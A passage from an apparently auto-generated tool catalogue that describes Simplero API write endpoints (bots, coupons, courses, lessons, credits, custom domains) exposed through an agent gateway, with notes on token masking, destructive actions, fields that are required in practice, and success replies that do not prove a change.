this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/bot_tiers. Scopes: api. simplero_post_api_v2_bots (write) — Create a bot via POST /api/v2/bots. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/bots. Scopes: api. simplero_post_api_v2_bots_by_id_actions_add_labels (write) — Add labels (bots) via POST /api/v2/bots/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/bots/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_bots_by_id_actions_add_to_site (write) — Add bot to site(s) via POST /api/v2/bots/{id}/actions/add_to_site. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/bots/{id}/actions/add_to_site. Scopes: api. simplero_post_api_v2_bots_by_id_actions_duplicate (write) — Duplicate (bots) via POST /api/v2/bots/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/bots/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_bots_by_id_actions_remove_from_site (write) — Remove bot from site(s) via POST /api/v2/bots/{id}/actions/remove_from_site. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/bots/{id}/actions/remove_from_site. Scopes: api. simplero_post_api_v2_bots_by_id_actions_remove_label (write) — Remove label (bots) via POST /api/v2/bots/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/bots/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_chat_bot_opening_messages (write) — Create a opening message via POST /api/v2/chat_bot_opening_messages. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/chat_bot_opening_messages. Scopes: api. simplero_post_api_v2_chat_bot_opening_messages_by_id_actions_delete (write, destructive) — Delete Opening message via POST /api/v2/chat_bot_opening_messages/{id}/actions/delete. Answers {"data": {...}}. DESTRUCTIVE: Delete Source / Delete Opening message -- a POST that deletes the record. POST /api/v1/simplero/api/v2/chat_bot_opening_messages/{id}/actions/delete. Scopes: api. simplero_post_api_v2_countdown_timers (write) — Create a countdown timer via POST /api/v2/countdown_timers. Answers {"data": {...}}. `duration_count` and `duration_unit` are marked optional by the contract and are REQUIRED in practice for the default `manual` strategy: MEASURED 2026-09-24, a body of {internal_name, strategy: "manual"} answers 422 "Duration count can't be blank / is not a number / Duration unit can't be blank". POST /api/v1/simplero/api/v2/countdown_timers. Scopes: api. simplero_post_api_v2_countdown_timers_by_id_actions_add_labels (write) — Add labels (countdown timers) via POST /api/v2/countdown_timers/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/countdown_timers/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_countdown_timers_by_id_actions_remove_label (write) — Remove label (countdown timers) via POST /api/v2/countdown_timers/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/countdown_timers/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_countdown_timers_by_id_actions_resurrect (write) — Resurrect (countdown timers) via POST /api/v2/countdown_timers/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/countdown_timers/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_coupons (write) — Create a coupon via POST /api/v2/coupons. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. The contract marks EVERY field of this body optional and the provider requires two: MEASURED 2026-09-24, an empty body answers 422 "Discount percent can't be blank / is not a number / Coupon code is ...". Supply a code and a discount. POST /api/v1/simplero/api/v2/coupons. Scopes: api. simplero_post_api_v2_coupons_by_id_actions_add_labels (write) — Add labels (coupons) via POST /api/v2/coupons/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/coupons/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_coupons_by_id_actions_duplicate (write) — Duplicate (coupons) via POST /api/v2/coupons/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/coupons/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_coupons_by_id_actions_remove_label (write) — Remove label (coupons) via POST /api/v2/coupons/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/coupons/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_coupons_by_id_actions_resurrect (write) — Resurrect (coupons) via POST /api/v2/coupons/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/coupons/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_course_lessons (write) — Create a lesson via POST /api/v2/course_lessons. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/course_lessons. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_allow_multiple_completions (write) — Allow multiple completions via POST /api/v2/course_lessons/{id}/actions/allow_multiple_completions. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/allow_multiple_completions. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_apply_loudness_filter (write) — Apply loudness filter via POST /api/v2/course_lessons/{id}/actions/apply_loudness_filter. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/apply_loudness_filter. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_deepgram (write) — Transcribe video/audio lessons (course lessons) via POST /api/v2/course_lessons/{id}/actions/deepgram. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/deepgram. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_delete_ai_generated_summary (write, destructive) — Delete AI generated summary via POST /api/v2/course_lessons/{id}/actions/delete_ai_generated_summary. Answers {"data": {...}}. DESTRUCTIVE: Delete AI generated summary -- discards generated content. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/delete_ai_generated_summary. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_disable_preferred_playback_rate (write) — Start at 1x speed via POST /api/v2/course_lessons/{id}/actions/disable_preferred_playback_rate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/disable_preferred_playback_rate. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_disallow_multiple_completions (write) — Disallow multiple completions via POST /api/v2/course_lessons/{id}/actions/disallow_multiple_completions. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/disallow_multiple_completions. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_duplicate (write) — Duplicate (course lessons) via POST /api/v2/course_lessons/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_enable_preferred_playback_rate (write) — Start at user preferred speed via POST /api/v2/course_lessons/{id}/actions/enable_preferred_playback_rate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/enable_preferred_playback_rate. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_grant_access (write) — Grant access (course lessons) via POST /api/v2/course_lessons/{id}/actions/grant_access. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/grant_access. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_move_module (write) — Move to module via POST /api/v2/course_lessons/{id}/actions/move_module. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/move_module. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_publish (write) — Publish (course lessons) via POST /api/v2/course_lessons/{id}/actions/publish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/publish. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_recreate_bookmarks (write) — Regenerate bookmarks from transcript (course lessons) via POST /api/v2/course_lessons/{id}/actions/recreate_bookmarks. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/recreate_bookmarks. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_regenerate_ai_description (write) — Regenerate AI description via POST /api/v2/course_lessons/{id}/actions/regenerate_ai_description. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/regenerate_ai_description. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_resume_from_last_position (write) — Resume media from the last position via POST /api/v2/course_lessons/{id}/actions/resume_from_last_position. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/resume_from_last_position. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_resurrect (write) — Resurrect (course lessons) via POST /api/v2/course_lessons/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_set_author (write) — Set author via POST /api/v2/course_lessons/{id}/actions/set_author. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/set_author. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_start_from_beginning (write) — Always start media from the beginning via POST /api/v2/course_lessons/{id}/actions/start_from_beginning. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/start_from_beginning. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_unpublish (write) — Unpublish (course lessons) via POST /api/v2/course_lessons/{id}/actions/unpublish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/unpublish. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_update_loop_asset (write) — Update lesson asset loop via POST /api/v2/course_lessons/{id}/actions/update_loop_asset. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/update_loop_asset. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_update_show_unauthorized_course (write) — Change no access to COURSE behavior via POST /api/v2/course_lessons/{id}/actions/update_show_unauthorized_course. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/update_show_unauthorized_course. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_update_show_unauthorized_lesson (write) — Change no access to LESSON behavior via POST /api/v2/course_lessons/{id}/actions/update_show_unauthorized_lesson. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/update_show_unauthorized_lesson. Scopes: api. simplero_post_api_v2_course_lessons_by_id_actions_update_unauthorized_message (write) — Change alternative content when no access to lesson via POST /api/v2/course_lessons/{id}/actions/update_unauthorized_message. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/course_lessons/{id}/actions/update_unauthorized_message. Scopes: api. simplero_post_api_v2_course_modules (write) — Create a module via POST /api/v2/course_modules. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/course_modules. Scopes: api. simplero_post_api_v2_course_modules_by_id_actions_grant_access (write) — Grant access (course modules) via POST /api/v2/course_modules/{id}/actions/grant_access. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/course_modules/{id}/actions/grant_access. Scopes: api. simplero_post_api_v2_course_modules_by_id_actions_publish (write) — Publish (course modules) via POST /api/v2/course_modules/{id}/actions/publish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_modules/{id}/actions/publish. Scopes: api. simplero_post_api_v2_course_modules_by_id_actions_restart_all_members (write) — Restart module for all members via POST /api/v2/course_modules/{id}/actions/restart_all_members. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_modules/{id}/actions/restart_all_members. Scopes: api. simplero_post_api_v2_course_modules_by_id_actions_resurrect (write) — Resurrect (course modules) via POST /api/v2/course_modules/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_modules/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_course_modules_by_id_actions_unpublish (write) — Unpublish (course modules) via POST /api/v2/course_modules/{id}/actions/unpublish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/course_modules/{id}/actions/unpublish. Scopes: api. simplero_post_api_v2_courses (write) — Create a course via POST /api/v2/courses. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/courses. Scopes: api. simplero_post_api_v2_courses_by_id_actions_add_facet_values (write) — Add facet values (courses) via POST /api/v2/courses/{id}/actions/add_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/courses/{id}/actions/add_facet_values. Scopes: api. simplero_post_api_v2_courses_by_id_actions_add_labels (write) — Add labels (courses) via POST /api/v2/courses/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/courses/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_courses_by_id_actions_allow_downloads (write) — Allow downloads via POST /api/v2/courses/{id}/actions/allow_downloads. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/allow_downloads. Scopes: api. simplero_post_api_v2_courses_by_id_actions_deepgram (write) — Transcribe video/audio lessons (courses) via POST /api/v2/courses/{id}/actions/deepgram. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/courses/{id}/actions/deepgram. Scopes: api. simplero_post_api_v2_courses_by_id_actions_delete_ai_generated_summaries (write, destructive) — Delete AI generated summaries for all lessons via POST /api/v2/courses/{id}/actions/delete_ai_generated_summaries. Answers {"data": {...}}. DESTRUCTIVE: Delete AI generated summaries for all lessons -- discards generated content for every lesson of the course at once. DESTRUCTIVE: discards the AI summary of EVERY lesson in the course, not one. POST /api/v1/simplero/api/v2/courses/{id}/actions/delete_ai_generated_summaries. Scopes: api. simplero_post_api_v2_courses_by_id_actions_disable_autoplay (write) — Disable autoplay via POST /api/v2/courses/{id}/actions/disable_autoplay. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/disable_autoplay. Scopes: api. simplero_post_api_v2_courses_by_id_actions_drip (write) — Drip (courses) via POST /api/v2/courses/{id}/actions/drip. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/courses/{id}/actions/drip. Scopes: api. simplero_post_api_v2_courses_by_id_actions_duplicate (write) — Duplicate (courses) via POST /api/v2/courses/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_courses_by_id_actions_duplicate_to_other_site (write) — Duplicate to other site (courses) via POST /api/v2/courses/{id}/actions/duplicate_to_other_site. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/courses/{id}/actions/duplicate_to_other_site. Scopes: api. simplero_post_api_v2_courses_by_id_actions_enable_autoplay (write) — Enable autoplay via POST /api/v2/courses/{id}/actions/enable_autoplay. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/enable_autoplay. Scopes: api. simplero_post_api_v2_courses_by_id_actions_exclude_from_new_content (write) — Exclude from "New content" blocks via POST /api/v2/courses/{id}/actions/exclude_from_new_content. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/exclude_from_new_content. Scopes: api. simplero_post_api_v2_courses_by_id_actions_grant_access (write) — Grant access (courses) via POST /api/v2/courses/{id}/actions/grant_access. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/courses/{id}/actions/grant_access. Scopes: api. simplero_post_api_v2_courses_by_id_actions_hide_content_counts (write) — Hide content counts via POST /api/v2/courses/{id}/actions/hide_content_counts. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/hide_content_counts. Scopes: api. simplero_post_api_v2_courses_by_id_actions_hide_content_duration (write) — Hide content duration via POST /api/v2/courses/{id}/actions/hide_content_duration. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/hide_content_duration. Scopes: api. simplero_post_api_v2_courses_by_id_actions_hide_from_index (write) — Hide from the Site Course directory page via POST /api/v2/courses/{id}/actions/hide_from_index. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/hide_from_index. Scopes: api. simplero_post_api_v2_courses_by_id_actions_include_in_new_content (write) — Include in "New content" blocks via POST /api/v2/courses/{id}/actions/include_in_new_content. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/include_in_new_content. Scopes: api. simplero_post_api_v2_courses_by_id_actions_move_to_other_site (write) — Move to other site (courses) via POST /api/v2/courses/{id}/actions/move_to_other_site. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/courses/{id}/actions/move_to_other_site. Scopes: api. simplero_post_api_v2_courses_by_id_actions_on_site_hide (write) — Hide from people without access via POST /api/v2/courses/{id}/actions/on_site_hide. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/on_site_hide. Scopes: api. simplero_post_api_v2_courses_by_id_actions_on_site_tease (write) — Show a teaser to people without access via POST /api/v2/courses/{id}/actions/on_site_tease. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/on_site_tease. Scopes: api. simplero_post_api_v2_courses_by_id_actions_prevent_downloads (write) — Prevent downloads via POST /api/v2/courses/{id}/actions/prevent_downloads. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/prevent_downloads. Scopes: api. simplero_post_api_v2_courses_by_id_actions_publish (write) — Publish (courses) via POST /api/v2/courses/{id}/actions/publish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/publish. Scopes: api. simplero_post_api_v2_courses_by_id_actions_refresh_card_image (write) — Refresh card image via POST /api/v2/courses/{id}/actions/refresh_card_image. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/refresh_card_image. Scopes: api. simplero_post_api_v2_courses_by_id_actions_remove_facet_values (write) — Remove facet values (courses) via POST /api/v2/courses/{id}/actions/remove_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/courses/{id}/actions/remove_facet_values. Scopes: api. simplero_post_api_v2_courses_by_id_actions_remove_label (write) — Remove label (courses) via POST /api/v2/courses/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/courses/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_courses_by_id_actions_restart_all_members (write) — Restart course progress for all members via POST /api/v2/courses/{id}/actions/restart_all_members. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/restart_all_members. Scopes: api. simplero_post_api_v2_courses_by_id_actions_resurrect (write) — Resurrect (courses) via POST /api/v2/courses/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_courses_by_id_actions_show_content_counts (write) — Show content counts via POST /api/v2/courses/{id}/actions/show_content_counts. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/show_content_counts. Scopes: api. simplero_post_api_v2_courses_by_id_actions_show_content_duration (write) — Show content duration via POST /api/v2/courses/{id}/actions/show_content_duration. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/show_content_duration. Scopes: api. simplero_post_api_v2_courses_by_id_actions_show_on_index (write) — Show on the Site Course directory page via POST /api/v2/courses/{id}/actions/show_on_index. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/show_on_index. Scopes: api. simplero_post_api_v2_courses_by_id_actions_unpublish (write) — Unpublish (courses) via POST /api/v2/courses/{id}/actions/unpublish. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/courses/{id}/actions/unpublish. Scopes: api. simplero_post_api_v2_credits (write) — Create a credit via POST /api/v2/credits. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/credits. Scopes: api. simplero_post_api_v2_credits_by_id_actions_add_labels (write) — Add labels (credits) via POST /api/v2/credits/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/credits/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_credits_by_id_actions_remove_label (write) — Remove label (credits) via POST /api/v2/credits/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/credits/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_credits_by_id_actions_resurrect (write) — Resurrect (credits) via POST /api/v2/credits/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/credits/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_credits_by_id_actions_star (write) — Star (credits) via POST /api/v2/credits/{id}/actions/star. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/credits/{id}/actions/star. Scopes: api. simplero_post_api_v2_credits_by_id_actions_unstar (write) — Unstar (credits) via POST /api/v2/credits/{id}/actions/unstar. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/credits/{id}/actions/unstar. Scopes: api. simplero_post_api_v2_custom_domains (write) — Create a custom domain via POST /api/v2/custom_domains. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/custom_domains. Scopes: api. simplero_post_api_v2_custom_domains_by_id_actions_recheck (write) — Recheck DNS via POST /api/v2/custom_domains/{id}/actions/recheck. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/custom_domains/{id}/actions/recheck. Scopes: api. simplero_post_api_v2_custom_domains_by_id_actions_resurrect (write) — Resurrect (custom domains) via POST /api/v2/custom_domains/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/custom_domains/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_custom_domains_by_id_actions_snapshot_dns (write) — Snapshot DNS via POST /api/v2/custom_domains/{id}/actions/snapshot_dns. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/custom_domains/{id}/actions/snapshot_dns. Scopes: 